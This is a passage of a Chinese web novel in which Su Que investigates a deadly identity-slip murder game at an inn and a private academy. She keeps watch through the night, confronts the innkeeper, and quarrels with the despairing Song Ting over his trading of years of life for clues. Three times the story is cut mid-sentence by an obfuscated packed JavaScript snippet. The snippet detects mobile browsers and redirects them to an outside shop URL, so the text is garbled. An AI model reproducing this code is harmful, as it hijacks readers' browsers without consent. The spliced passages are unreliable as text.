昨夜初至客栈之时，李共川在门口抽中了代表凶犯身份的纸条，并通过某种方式了解了规则与他必须完成的任务，且知道了哥哥李长宥的图案和自己的图案不一致。 兄弟二人迅速串通，却故作互不相识，恰好又借着段春音提出的抓阄分房，以及苏却率先上楼的不合群，巧妙地动了一点手脚，制造了一场关于房间分配的小小风波。 随后，他们便趁着夜色掩护，各自出手，成功杀害了这场风波中最主要的两个争执者——住在李长宥对面的范月楼，与住在李共川对面的万夜空。 此一举，既完成了李共川的任务，又完美地将众人的注意力引向了错误的方向。 一切如他们所料，出现两名死者的恐慌，成功误导了众人。 然而，叶别风却意外地在明伦堂提起了纸条一事。 本想低调行事的他们，为免真正的凶手李共川暴露，只好让身为其他身份的李长宥站出来，以尸体细节等引导众人，将水继续搅得更浑。 可如今，局面已经变得更为棘手。 纸条更换，身份更新。 新的凶犯，已然换成了段春音。 而这位新凶手，因着对章世昌积攒的厌恶，不仅用刀捅死了他，更在泄了愤后才放声尖叫。 让众人看到自己的狼狈与惊慌。 让她这场行凶，变得十分合理。 也让苏却成功地串联起了一切。 那要结束这件事，她需要做什么？ 是当众揭发段春音的凶手身份，以及李长宥兄弟的合谋？ 还是要从一开始就找出每一轮的凶手，设法将其控制住，阻止其杀人，让其因无法完成任务而按照规则死去？ 抑或是，纸条上还会有类似刑官的其他身份，拿到它，再名正言顺地处决凶犯？ …… 思绪至此，苏却感到一阵沉重。 还不够，线索还远远不够。 而且眼前的这一切，大多仍停留在推测与怀疑，并没有证据。 她必须利用好她现在的身份，尽可能地捕捉更多蛛丝马迹，不能有任何一点疏漏。 心神耗费甚巨，她瞥了一眼身旁的宋停。 他本就元气大伤，并未吃下多少食物，已是虚弱不堪，又强撑着精神，跟着她在书院与客栈之间走动，此刻脚步已是虚浮踉跄，仿佛下一刻就要软倒在地。 眼见他身形一晃，苏却下意识地伸手，一把撑住他的胳膊。 触手之处，隔着衣物也能感到一股冰凉。 她眉头微蹙，对着他道：“华子唐死在书院，他的房间是干净的，你今晚在他屋里休息吧。” 宋停借着她手臂的力量勉强站稳，嘴唇不见一丝血色，虚弱地问道：“那你呢？” 苏却面色沉静，道：“我，守夜。” 她声音不大不小，正好让站在门口，住在华子唐对面的康大化，和住在万夜空对面的李共川二人听得清清楚楚。 康大化闻言，脸上立刻堆满了如释重负的感激，一个劲儿地谢道：“苏公子啊，多谢，真是多谢了！你可真是……舍己为人，高义，你是好人，是英雄啊……” 他一边絮絮叨叨地说着，一边忙不迭地端起自己房门口那个还未动过的食盘，小跑着拿到屋里，又赶紧小跑出来，只敢站在门内，双手将那托盘递向苏却，脸上挤出讨好的笑容，道：“方才……方才有人敲门，我实在是害怕，也没敢开门。你和宋公子是两个人，他又……身子骨不好，这个你拿着，二位多吃点，补补力气。我……我只要个馒头，就着点水就行，能填饱肚子就成。” 而李共川自始至 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水流蜿蜒淌过他和她的手心和手背，又顺着指缝流下。 水声淋漓间，宋停开口的声音很轻。 “抱歉，我帮不上你的忙。” 苏却的心头却蓦地窜起一股无名火。 她手腕一翻，用力钳住宋停正在动作的手，另一手同时抬起，紧扣他握壶的手腕。 “我何时说过需要你帮我？！”苏却低声怒道。 宋停被她制住双手，动弹不得，只垂了垂眼睫，嘴角勉强扯了一个苦笑，道：“是我说错了，我原本应该说‘抱歉，我又给你添麻烦了’是我说错了……” 他任由苏却抓着自己的手腕，没有挣扎，继续说道：“我原以为，我有几分特殊，说不定，能在这个诡异的地方，帮到你什么……我以为……或许会有什么不同……抱歉，是我高看了自己，抱歉。” 苏却听着他的话，向前逼近一步，两人之间的距离瞬间缩短。 她微微抬头，直直盯着宋停看向更低处的双眼：“所以，你说的帮我，就是一次一次地自杀，然后等着我在这里，或者在那头，一次一次地于千钧一发之际，救你性命？是吗？” 宋停终究还是没有勇气与她对视，苍白的唇瓣微微开合，最终，只剩轻飘飘的两个字：“……抱歉。” 苏却松开双手，点着头，连说了两个“好”，冷冷地道：“既然你心中如此歉疚，那便不必再勉强跟着我。在此好生养你的身体，少给我添些麻烦，便是最好！” 说罢，她转身，大步走出了屋子，反手将木门摔上，将宋停与自己的无名火，一同关在了身后。 门边，那康大化还端着食盘，讪讪地站在原地，递也不是，不递也不是。 见苏却面色不善地出来，他连忙将托盘放回自己门外的地上，对着苏却挤了一个笑，然后飞快地缩回房内，紧紧关上了门。 客栈又恢复了寂静。 廊道里，只剩下苏却一人独立。 不知过了多久，各间房中的烛火，开始一盏接一盏地熄灭。 苏却看着自己曲折的影子，沉默着。 守夜，无眠。 身后房中的烛光，亦然。 50. 赴考（十二） 赴考（十二） 苏却背脊挺得笔直，盘着腿席地而坐。 就着身后房门透出的微弱烛光，她取出李长宥之前塞来的纸张，凑近细看。 纸张上，墨线勾勒，将这座客栈二楼的布局清晰呈现。 楼梯的位置，每一间房的朝向，甚至一些细微之处，都标注得一清二楚。 每一间房舍旁，以工整的小字，一一对应着写下了居住者的姓名。 此番参与者众，彼此接触寥寥，苏却于介绍时亦未十分上心，故虽大多面熟，仍有几人印象模糊，未曾交谈。 再仔细看去，范月楼、万夜空、华子唐，乃至昨夜刚刚毙命的章世昌，这四名已然身故之人，竟无一例外，全都居住在她所在的这一侧。 而李长宥、李共川兄弟，以及叶别风、张山起、秦玉奇等人，则大多居于对面那排房间。 依照一般常理推断，这种情况下，凶犯有极大可能会隐匿在对面那排房间之中。 而且眼下，依然还有一件尚未确认的事。 这名凶犯的任务究竟为何？ 是只需成功杀害一人便可？ 还是，必须屠戮足够数量？ 若是前者，或许还可留意细节，事情发展也尚可控制。 若是后者…… 苏却心底泛起一丝寒意。 普通人并不会有杀人的经验，但此地不同。 一旦与自己的性命挂钩，且已经初步试验了将人命捏在手心中，掌握全局的感受……那欲望，便很难控制。 可无论如何，她既已当众言明守夜，今夜便需打起十二分的精神。 要么，凭借自己的警觉与身手，护得一夜安宁，确保再无人殒命。 要么，便反其道而行之，让自己成为靶子，逼得凶手兵行险着，也好让她验证纸上画着的那块盾牌，到底能发挥怎样的作用。 夜色如墨，烛火昏黄。 时间流逝得悄无声息，直至墨色渐褪，天际泛白，段春音所在房门始终紧闭，未启一丝缝隙。 不仅是她，其余各房亦是毫无动静，非常平静祥和，甚至还听到了不知从哪间房内传来的有人打鼾的声音。 即便是那间让烛火燃了一整夜的宋停，也没再开门出来。 第一个起床开门打破宁静的，是住在苏却这一侧，范月楼隔壁房间的楚念来。 他只将房门拉开一道缝隙，先怯生生地探出半个脑袋，露出一双睁得滚圆的眼睛左右张望着。 他的目光霎时与盘坐廊中的苏却撞个正着。 苏却本就坐的笔直，如老僧入定，又纹丝不动，两人四目相对间，空气仿佛凝滞了数息。 随即，楚念来像是见了鬼一般，爆发了一声响亮的尖叫。 这叫声凄惨尖锐，听起来颇为耳熟。 苏却立时想起，昨日清晨最早发现范月楼尸体，疯狂敲门哭喊的那人，应该就是他了。 这突如其来的动静足够大，瞬间惊醒了众人。 一扇扇房门被火急火燎地拉开，露出了一张张惊魂未定，茫然又恐惧的脸。 “怎么了？怎么了？” “是不是又……死人了？” “这日日提心吊胆的日子，什么时候才是个头啊？” 在一片询问目光中，苏却缓缓起身。 她神色平静，抬手拂了拂衣袍下摆沾的灰尘：“无事发生。大家都动作快些，早去书院。” 众人闻言，齐齐松了口气。 苏却向前走了几步，看到段春音原来房间，本应该倒在床边浑身鲜血的章世昌的尸体，已不翼而飞。 仅残余血迹，证明这，曾经死了一个人。 她昨夜未有一分松懈。 如此看来，便应该是客栈与凶犯的配合了。 苏却先众人一步，沉默地走下楼梯，心中并无多少意外。 她早已料到清理这件事，不可能完全交给凶手完成。 而且她思绪理了一晚上，又有新的推测： 其一，书院的日程，可能并不需要严格遵守。 至少，并非所有人都需要按照日程行动。 范月楼、万夜空死于居栈之时，华子唐死于抄书之际，章世昌亦是在禁行之后被杀。 这些死亡发生的时辰，皆是参与之人在日程的安排下，正好是应该独处的时间。 仿佛这既定日程，是专为凶手准备的，便于下手且不易察觉的良机。 既然凶手可以自由活动，行凶杀人，那么其他人，是否也同样不受此限，日程规定，是否只是释放给众人的迷雾呢？ 其二，便是至关重要的凶器来源。 按常理，成为新凶手的段春音，理应在身份转换的那一刻，便拥有行凶所必需的工具。 然而，段春音自述的经过，却是章世昌持刀闯入她的房间意图不轨，她趁其不备，奋力夺刀，方才反杀成功。 这番说辞，站在她是受害者的角度，确实十分合理。 倘若段春音早已手握利刃，以她对章世昌积攒的憎恶，完全可以在书院，或在返回客栈的路上，趁其不备悄然结果了他，这样岂不更加干净利落？ 又何须在自己房内闹出如此大的动静，置于众目睽睽之下？ 那么，她为何没有得到凶器？ 是并未提供，需要自行寻找？ 还有章世昌，他在此地理应手无寸铁才对，那手中的刀，又是从何而来？ 思及此，一个念头闪过。 或许武器，本就存放于此地某处，如同书院桌上的笔墨纸砚。 只是已有人抢先一步，找到了相关的线索与获取途径。 普通人寻得，或可用于危急时刻防身自保。 而凶手得之，用于杀人。 这或许能解释，为何章世昌昨日那般有恃无恐，色胆包天。 他也许自以为找到了足以倚仗的底牌，才敢如此肆无忌惮。 她一边想着，一边回头瞥了一眼昨晚那扇被自己摔上的门，默然片刻，唇线紧抿，终是转身下楼，草草用了些寡淡的早点。 离开客栈的时候，宋停也没有下来。 今天客栈门外已经没了昨天的雾气，天光虽然算不得明媚，却也足够清明，能让人看清周遭的景象。 可这份清明，也并不是什么好事。 因为正对着客栈大门，是一大片空泥地。 泥地上，赫然出现了四个新堆的坟包。 昨日傍晚归来时，此地还空空如也，不过是一片荒芜。 一夜之间，四座新坟。 所有人都在踏出客栈门槛，看见这四座简陋的坟茔后，脸色惨白。 心志稍弱者，已忍不住开始低声啜泣。 叶别风自后方快步上前，几步便追上了走在人群稍前位置的苏却。 他眉头紧锁，眼角那颗殷红的小痣，竟如一滴凝于眼角的血泪 “苏兄弟，”他声音有些沙哑，“宋停呢？今日……他是要独自留在客栈之中吗？” 他略微停顿，又压低了声音，“他可知……这间客栈在白日之时，会有诡异幻境，引人入梦，让人心神崩溃？” 苏却侧头看他，心中微动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16570640|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶别风他，竟是连这件事也知道。 看来，外界对他的传言非虚。 但话又说回来，宋停他虽然确实有过白日留在客栈的经历，并且似乎并未受到伤害，但苏却并不确定他是否真的抵抗客栈的幻境。 他的过往……实在算不上什么好的回忆。 如果这些不堪回首都被放大、扭曲，然后一次又一次地经历那些…… 苏却几乎不敢再想下去。 她的声音不自觉地顿了顿。 最终道：“他……他应该，会有办法的……” 晨读依旧在明伦堂中进行，内容无非还是昨天那翻来覆去说的那些，并没有什么新的进展，但每个人又不得不绷紧神经，生怕漏掉任何信息。 只是于发言间隙，有人提了一句苏却昨夜为众人守夜之事。 几乎人人都向她或拱手，或躬身，行礼道谢，比之昨日明显热络了许多。 甚至有人开始认真讨论，是否需要仿效此法，轮值排班，组织起人手，夜间在楼上楼下定时巡逻，以期能防患于未然。 还开始讨论起来是否需要轮值排岗，楼上楼下夜间巡逻。 只是，交谈之间，众人的目光总会在不经意瞥向那个独自坐在角落，眼神空洞，一言不发的段春音。 她似乎失去了所有光彩与生气，唯余绝望。 于段春音而言，昨夜之事是她永远无法愈合的伤疤。 任何关切，任何询问，都无异于揭疤剜肉。 而一直作为众人主心骨的叶别风，既然从一开始便绝口不提昨夜的细节，就代表他并不打算再深究这件事，默认了此事乃章世昌咎由自取，段春音的行为情有可原，无论其中还发生了什么。 其他人纵有种种猜测，也不好再突然将话题拐到上面，满肚子问题，也得咽回去。 之后的抄书，苏却直接选择了放弃。 她走过一间间或敞开或虚掩的斋舍门前，终于逐渐拼凑出了完整的分布。 李共川在一层，靠近楼梯，正对上去是李长宥，就在华子唐隔壁。 这位置，实在不能更合适了。 苏却心中冷笑，先前关于李氏兄弟合谋的推测，此刻似又添一重印证。 昨日华子唐几番欲与她争执，动静不小，吸引了众多目光。 而这兄弟俩，恰好想将所有人的目光都往争吵这件事上引。 所以，在互学时，李共川和李长宥皆不见踪影，而李长宥又恰好在那个时间主动前来寻找自己…… 现在想来，他们，就是来动手的。 怪不得后来李长宥再找来时，是一副坦然自若，颇有深意的模样。 是因为那时，他们动手的时机已然错过，而李共川的身份已经变化，他不再是必须杀人的那个，自然乐于与她周旋，看看能否获取其他信息，或是将她引向歧途。 整个上午都在平静中度过，再无人死亡。 到了下午撰文时分，苏却依旧未曾动笔。 桌案上摆放的题目字条，只有简短的两个字：论义。 义。 这个字本身就重若千钧。 苏却始终觉得，自己并不真正懂得何为“义”。 说到底，她早就该和自己的父母一样死去，却借了别人的身份苟活于世，只为报仇。 他人之事，本就与自己无关，又如何能洋洋洒洒，下笔千言去论这“义”？ 她索性任凭面前一片空白。 而且她隐隐觉得，这份违背，应该就是得到命筹末位的方法。 而凶手身份，说不定，正是末位本身。 51. 赴考（十三） 赴考（十三） 可事与愿违，苏却手中新得的纸条，其上图案竟与首夜所得一般无二。 首夜纸条乃众人于客栈门口，从掌柜手中抽取，得何图案，全凭运气，无人可预料，亦无人可操控。 而那日程表上亦白纸黑字写明，书院先生会批阅他们上交的策论，并据此决定每个人的命筹。 苏却今日，晨读未曾发言，抄书未动笔，下午的策论更是交了一张白卷。 于情于理，她都应是当之无愧的命筹末位。 可为何，她得到的图案，依旧是书册？ 难道，在这些人之中，还有比她命序更低之人？ 还是说，并非末位成为凶手，而是……首位中选？ 若真如此，那段春音昨日是凭借什么，被判定为首位，接替凶犯身份？ 而自己，又是做了什么，才被判定为得到盾牌？ 新一轮已经在纸条到个人手中的那一刻起，无声无息地开始了。 那新接任了凶犯身份的，又会是众人之中的哪一个？ 苏却思绪纷乱，脚下不由加快，回到客栈时，门尚未开。 她顾不上许多，绕到后面，熟门熟路地攀墙而上。 她心中默数着窗户的位置，确认自己翻爬的这一间，正是华子唐那间房。 不出意外的话，从此窗进去，就能看见宋停。 不知为何，越接近那扇窗，她越觉得心口有些热，嗓子有些发干。 昨天她确实心里烦躁，先对着宋停发了火，也不知道他是不是会生她的气。 为了避免见面尴尬，她贴在墙边空出一只手，先敲了敲窗户。 “叩、叩、叩。” 声音不大，但四周寂静，理应可闻。 可过了许久，都不曾听得里面的动静。 苏却心道，许是自己敲窗的力道太轻，他未曾听见。 于是，她略提高了些声音，隔着窗子，朝着里面唤道：“宋停？” 回应她的，依旧只有一片沉默。 她心中一跳，只觉不好，气劲贯于掌心，猛地拍出。 “砰——” 木窗应声而开，撞在墙上发出巨响。 苏却自窗口跃入屋内，迅速扫过整个房间。 屋子本就狭小，一眼便可望尽。 床榻上空空如也，桌椅依旧，地面干净，并无挣扎或打斗的痕迹。 哪里有宋停的影子呢？ 他身体那般虚弱，连走路都需人搀扶，此刻还能去到何处？ 难不成……是出了什么意外？ 还是……这客栈，对他做了什么？ 她转身拉开房门，从二楼廊道最深处开始，一间一间，狠狠地踹向那些紧闭的房门！ “砰——” “砰——” “砰——” …… 一扇扇房门被她粗暴地踢开。 没有没有没有……全都没有！ 宋停始终没有出现在任何一间房里。 直至站在楼梯口，苏却正好看见不紧不慢地走向客栈大门的掌柜。 一股邪火直冲头顶。 苏却想也未想，单手一按栏杆，直接从二楼翻身跃下，落地无声。 她几步便蹿至掌柜身后，一手揪住他的衣襟，另一只手已反握匕首，冰冷的刃口抵上了他的脖颈。 苏却步步紧逼，掌柜连连后退，直至他的后背重重撞在门板上。 “说！宋停在哪儿？”苏却的声音压得极低。 掌柜丝毫不为所动，浅浅笑着，目光平静地看着苏却。 苏却抓住他的那一刻就已感受到了，他和林老板并不相同。 林老板气息阴沉，似有修为在身。而眼前这位掌柜，肤色苍白，眼窝深陷，身体单薄无力，倒与现今病弱的宋停，有几分相似。 苏却手腕微一用力，将匕首又往里推了几分，锋利的刀刃已经划破掌柜脖颈处的衣物布料。 她重复道：“你只需告诉我，宋停在哪？！” “客官，”掌柜对苏却的问题置若罔闻，声音也不似平日的苍白，道，“你用客栈送你的匕首来杀我，是不是有点，不念情意了。” “客栈送给我？那我是不是该在你死之前，先道个谢？”苏却耐心已然耗尽，匕首又推进几分，“说！他在哪？” 掌柜笑意反深，顾左右而言他：“客官可曾想过，说不定……我已不会再死了呢？” 苏却丝毫不畏，一字一顿道：“那我就，是人杀人，是鬼灭鬼。” 话音未落，那掌柜竟主动将脖子往前一伸。 皮肉撞入刃间，他也不痛，刃口也无血迹淌出。 他仍旧面带笑意，对苏却道：“看来客官在此地收获颇丰，比起我初次见你，改变了不少。” 苏却心中一惊。 初次？ 阴亲那时？ 她还真的从未想过，客栈掌柜每次都是此人，但总还会有她不曾参与的事件也在发生。 那客栈掌柜，一直都是此人，还是有许许多多不同的掌柜？ 这里，究竟是一个怎样的地方？ 无数疑问涌上心头，让她有瞬间的恍惚。 “苏却！你快松手。”宋停焦急的声音从身后传来。 她回神，侧头用余光瞥去，只看见宋停正从楼梯上匆匆下来。比起昨日的模样，他似乎已经好转了些许。 但他并不在二楼，那便是在三楼。 客栈的三楼，可不是什么好地方。 宋停几步上前，一把拉住苏却，低声道：“松手。等一下他们人就都回来了。客栈还没开门我们就在里面，难免惹人怀疑，先上楼再说。” 苏却看了一眼依旧面带微笑的掌柜，终是手腕一翻，收回了匕首，松开了掌柜。 那掌柜也极是配合，待到他们二人不见身影后，才慢悠悠地将客栈大门打开。 没一会儿，就一拨一拨人涌进客栈，杂乱的脚步声和低语声瞬间充斥了一楼大堂，并迅速向着二楼蔓延。 苏却靠在房门内侧，听着外面此起彼伏“咦，我房门怎么开了”的疑问，神情依旧紧绷。 且无话可说。 与那个背对着她，身子一个劲儿在抖，手也一个劲儿地在抖的人，完全不一样。 宋停他，在笑，而且似乎笑得很开心。 他肩头耸动许久，才勉强把笑憋回去，转过身来看她的时候，眉梢眼角还留着笑意。 他语气上扬，故意问道：“外面那些门……是你踢的？” 苏却深吸一口气，硬邦邦地回道：“那又如何？” “担心我……其实可以直接说的嘛。”宋停眨了眨眼，笑容越发显得无赖，“门和窗子都是无辜的，何必拿它们出气呢？” 他边说，边用眼神示意了一下那扇被她一掌拍开的窗户。 而他拉着她的那只手，也一直未曾松开，微微发凉的温度，一丝一缕传递过来。 苏却看他这副模样，心中虽没放下他白日的遭遇，但也明白，他此刻能这般说笑，身体应当是无甚大碍了。 见她面色稍霁，宋停凑近了些，压低声音，带着几分神秘道：“你这么着急忙慌地回来找我，是不是有所感应，知道了我有重要的东西要给你？” “你要给我什么？”苏却顺着他的话问道，同时试图将被他一直握着的手抽回来。 不知是什么缘故，她的掌心有些湿热。 宋停却手上微微用力，不容她挣脱。 他另一只手探入自己怀中，摸索了片刻，取出了一张字条，不由分说地，塞到了苏却被他紧握的手心里。 那字条大小尺寸，分外眼熟。 正是五年寿命兑换的线索字条。 苏却脸色顿时变了。 她用力甩开宋停的手，看也未看，只是将字条举到宋停面前。 她声音冰冷，道：“我以为……你会明白昨夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16580313|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我为什么会离开。现在你把这个给我，是什么意思？” 宋停因这骤变一愣：“我没有别的意思，你好心救我，我报答你，理之当然，有何不对？” “报答？”苏却像是听到了什么可笑的话，“那你好好活着，珍惜你自己这条性命，不可以吗？跳河、上吊，十年、五年……你一定要用这种方式，如此挥霍你自己的命吗？” 她越说越气，手腕一扬，直接将那字条狠狠扔在了宋停的脸上。 字条与他的脸颊轻轻一碰，飘落，最终，躺在了两人之间的地面上。 宋停声音带着一丝颤抖，他抬手，有些茫然地拍着自己的胸膛，问她：“我，我只是想帮你，想为你做点什么……这也不行吗？你不要吗？” “我有我必须做的事，有我必须追寻的真相。”苏却面色冷硬，斩钉截铁道，“这条路，谁也帮不了我，我也不需要任何人来帮！而你，宋停……你不可能一直跟着我，我亦不可能时时照顾于你。换言之，我的前路会有什么，是万丈深渊还是刀山火海，连我自己也不知道。所以，我根本不需要伙伴，更不需要谁用这种方式来可怜我。” “可我没用！我就是没用啊！”宋停崩溃地低吼起来，声音嘶哑。 “为什么哪里都不需要我？为什么我什么都做不到？为什么我做的任何事，最终都是错的？我只有这条命了苏却，可我早就已经不想要了……” “你知不知道，当我发现在这里可以用寿命兑换东西的时候，我有多高兴？” “你知不知道我在掌柜给我的幻境里，看见你在我旁边的时候，我有多高兴？” “我这个人，活到现在为止，从未有过一件顺心遂意之事。所有与我有所牵绊的人，也都一个接一个地离开了我……你要我活着？你告诉我，我活着干什么？啊？哈哈哈哈……我活着到底还能干什么？！” 说到后来，他红着眼眶自嘲地笑着，声音破碎不堪。 “我跟着你，只不过是好奇自己的结局……你现在，是连满足我这最后一点可怜的好奇心的机会，也不打算给我了吗？” 苏却张了张嘴，还想再说些什么。 可掌柜的声音，突然在客栈内响起，声音并不大，但每一个人都能清清楚楚地听见。 “字条之示，合共其二，皆已兑取。” 是字条兑罄的提示。 宋停听到这声音，脸上的痛苦与激动渐渐平息，取而代之的是深深的疲惫。 他扯了扯嘴角，露出一个比哭还难看的笑容，泪水却夺眶而出，沿着他的脸颊滑落。 “你看，”他声音很轻，“你不用，总归会有别人去用。这代价，总有人愿意支付。” 他的眼睛从来没有如此明亮过。 “苏却，我自然知道你与普通人不一样，你冷静、强大、目标明确，仿佛不需要任何依靠。可这样的你，面对此地一次比一次凶险的局，又有几分把握，能每一次都全身而退？” 他的声音带着恳求，甚至是卑微的乞求，“而我，宋停，浑浑噩噩二十余载，如今唯独剩了这一点价值。你拿去，你用，你放心大胆地利用我，让我觉得我这个人，活了这一场，还不算完全是个废物，还算是个……有点作用的人，行吗？” “求求你，行吗？” 苏却看着他脸上的泪痕，看着他眼中的绝望，一个字也说不出来。 她感觉她的嘴里，她的心口，都像是被什么东西蒙住了。 上一次让她有这样的感受，是十二年前。 她一贯不知该如何去面对别人的真心，就像她不知道该如何面对母亲。 就像此刻，她也不知道该如何面对这个对她满是期待的宋停。 他求她利用他，何其可悲，又何其沉重。 良久。 苏却终于缓缓地蹲下了身子。 她的目光落在地面上那张字条上，停顿了片刻，然后伸出手，颤抖着，将那张被她丢弃的字条，拾了起来。 52. 赴考（十四） 赴考（十四） 那张薄薄的字条，被苏却紧紧攥在手中。 一张纸，几个字，就需要付出五年。 苏却从一开始，就根本不理解寿命换道具的意义是什么。 这难道不是在饮鸩止渴吗？ 可，不知道为什么，所有人都争先恐后，趋之若鹜。 她抬起头，看向依旧站在自己面前的宋停。 良久，苏却才缓缓开口，声音早已没了怒气，只是平静道：“初登船时，我便与你约法三章，你还记得吗？” 宋停闻言，点头，沙哑道：“记得” “那么，”苏却一字一顿道，“接下来，便是第三条。” “三，你不可再擅自做决定。往后无论何事，哪怕你认定了你一定要去做，也必须先告知我，经我同意之后，方可实施。” “如果你能应允并做到上述三条，”苏却紧紧锁着他的目光，语气郑重，“那么我希望，从此刻起，我们可以……合作愉快。” “苏却，你……”宋停闻言怔住了。 仿佛不敢相信自己的耳朵。 他慌忙用手背胡乱抹去脸上的泪痕，立刻蹲下身，在咫尺处平视着苏却。 犹豫了一下后，他伸出双臂，短暂却又用力地揽了一下苏却的双肩，然后迅速松开。 他在她耳边轻声说了两个字：“谢谢。” 温热的气息拂过耳际，苏却的身体僵硬了一瞬。 她不明白，为什么自己会鬼使神差一般，对着宋停说出合作二字。 从她第一次见到宋停开始，她一直觉得此人目的难测，绝不简单。 他的言行举止，他的一切，无一不在显示他是这个世界之中特殊的存在。 他毫不顾忌地使用寿命，也曾引导诱惑其他人，时而言辞戏谑又尖锐，对她亦是屡屡纠缠。 但若论及能力，宋停对人对事洞察敏锐。 如果宋停正正经经地成为参与者中的对手，应该是个令人头疼的人物。 而按说他现在这般上赶着，甚至不惜以命相抵，也要将线索拱手送到她面前，她应该心安理得地加以利用才是。 可方才那股汹涌而上的怒气，又是从何而来？ 她惜命，是因为她的背后，是灭门深仇，她必须，也只能活着。 而宋停是否想要活着，本应与她无关。 难道真的仅仅是因为心疼这条命是自己耗费心力救回来的，而此人却全然不知珍惜？ 心绪纷乱，苏却深深吸了一口气。 她缓缓展开一直紧握在手心的字条，目光落在其上。 与前几次的线索差不多，上面亦是一句看似没头没尾的话： 夫人一去不归尘。 这是……什么意思？ 宋停也凑近了些，指着起首的“夫”字，分析道：“我从未在任何诗词歌赋中见过此言，感觉不似成句，倒更像……字谜。” 他蹙着眉头，思索道：“若按字谜拆解……” 苏却立刻接道：“那‘夫’去掉‘人’字和其中一横，就只剩‘一’字了，那这个‘一’，会代表什么？” 难道真的是命序排名第一？ “不归尘”又是什么呢？ 等等。 不归尘？ 苏却心中有个猜测，她倏地起身，几步走到桌旁，看了看烛台以及上面的蜡烛。 一般来说，客栈里提供的照明之物，都是最寻常的蜡烛。 能够在黑夜使用的，都是从其他途径得到的。 那种蜡烛，一旦点燃便无法熄灭，只能任其燃烧殆尽，且烛身的颜色与寻常不同，似乎微微泛黄，或者发灰，总之是一眼即可分辨。 宋停曾用寿命换得，那新娘也曾给苏却一小支。 但眼前这烛台上的蜡烛，质地普通，颜色纯白，显然并非她想要的那种。 不过，还有几次出门，手中是提着灯笼的，只是不知里面是不是特殊蜡烛。 宋停见她突然关注起蜡烛，立刻猜到了她的意图，问道：“你要出去？” “嗯。”苏却应了一声，将那只烛台拿在手中，道：“有件必须立刻确认的事情，不能再等。走，先去楼下看看。” 此时，窗外天色刚刚擦黑。 由于日程的约束，所有人回到客栈后基本是直接归房，故而此刻客栈里面并未点燃灯火，光线昏暗，只能勉强视物。 廊道上大多房门已然紧闭，唯有李长宥的房间还敞开着，烛光昏黄。 苏却与宋停走过时，目光向内一扫，发现叶别风、张山起，以及李共川，竟都在李长宥房中，几人围坐，似在低声讨论着什么。 叶别风似乎是因为听到门外有动静，回头看来的时候，正好与苏却对视。 他立刻站起身，快步走到门边，语气带着关切：“苏兄弟，今日见你无论做什么都兴致缺缺，我本就担心，现下天色已晚，你这是要往哪里去？” 苏却的目光越过叶别风，落在了坐在李长宥床沿的李共川身上。 这两人虽说是兄弟，但相貌气质差异颇大。 不过，他的样貌虽没有李长宥那般惊为天人，却也不差，脸型棱角分明，眉眼周正，自有一股少年之气。 此刻，他的一双眼瞳看起来十分澄澈，谁在讲话，他就看过去，万分真诚。 苏却之前本想寻一个合适时机单独与他接触，但眼下，已没有那个必要了。 除非，她能找到确凿的证据，证明他曾经是凶手。 “我要出去一下。”苏却道。 “出去？去外面？”叶别风看到了苏却手中的烛台，难以置信道，“我以为你应该很清楚地知道此事。夜晚外界危机四伏，凶险异常，死在黑暗之中，尸骨无存，凭你这支蜡烛，不行的。” 她脚步未停，径直走向楼梯。 然而叶别风竟追出门来，在楼梯口再次叫住了她，语气已是十分焦急：“苏却！莫要冲动行事，务必三思而后行！” 李长宥与李共川兄弟二人，也紧随叶别风身后，走出了房间。 客栈的一楼大堂漆黑一片。 她取了火折子，嗤一声轻响，火苗跃出。 她随手点了几盏烛台，烛芯燃起，依旧是一副随时要燃尽的模样，烛火微弱，堪堪照亮，将众人的影子在墙壁上拉得忽长忽短。 四人跟在苏却宋停身后，也陆续下了楼，看着他们在大堂的角落，柜后四处翻找。 “你们到底在找什么？”叶别风忍不住再次发问。 苏却从柜台底下翻出一个有些变形的铜盆，拿在手里掂量了一下，随手放在身旁的桌面上。 她头也不抬，平淡地吐出几个字：“刨坟的工具。” “什么？你们打算去掘坟？”叶别风闻言，瞬间瞪大了双眼，“为什么？死者已矣，你们……” 李长宥上前一步，试探问道：“是有什么新的发现吗？” “只是猜测。”苏却继 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16630449|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 续翻找，又翻出一只长嘴壶，看了看，放在盆旁边，“有没有发现，要亲自看过才知道。” 宋停则在另一边颇有收获，他从锅碗之中，找到了一把尚且结实的铁铲，以及一只破旧灯笼。 再加上之前段春音杀死章世昌后留下的那把小刀，以及苏却的匕首，工具倒也凑合着够用了。 苏却又找来一点水和几张废纸，将灯笼破损的地方大致糊了糊，虽然粗糙，但将普通蜡烛放进去，或许能冒险一试。 如果能成功，晚上的时间便也能利用起来，不至于束手无策。 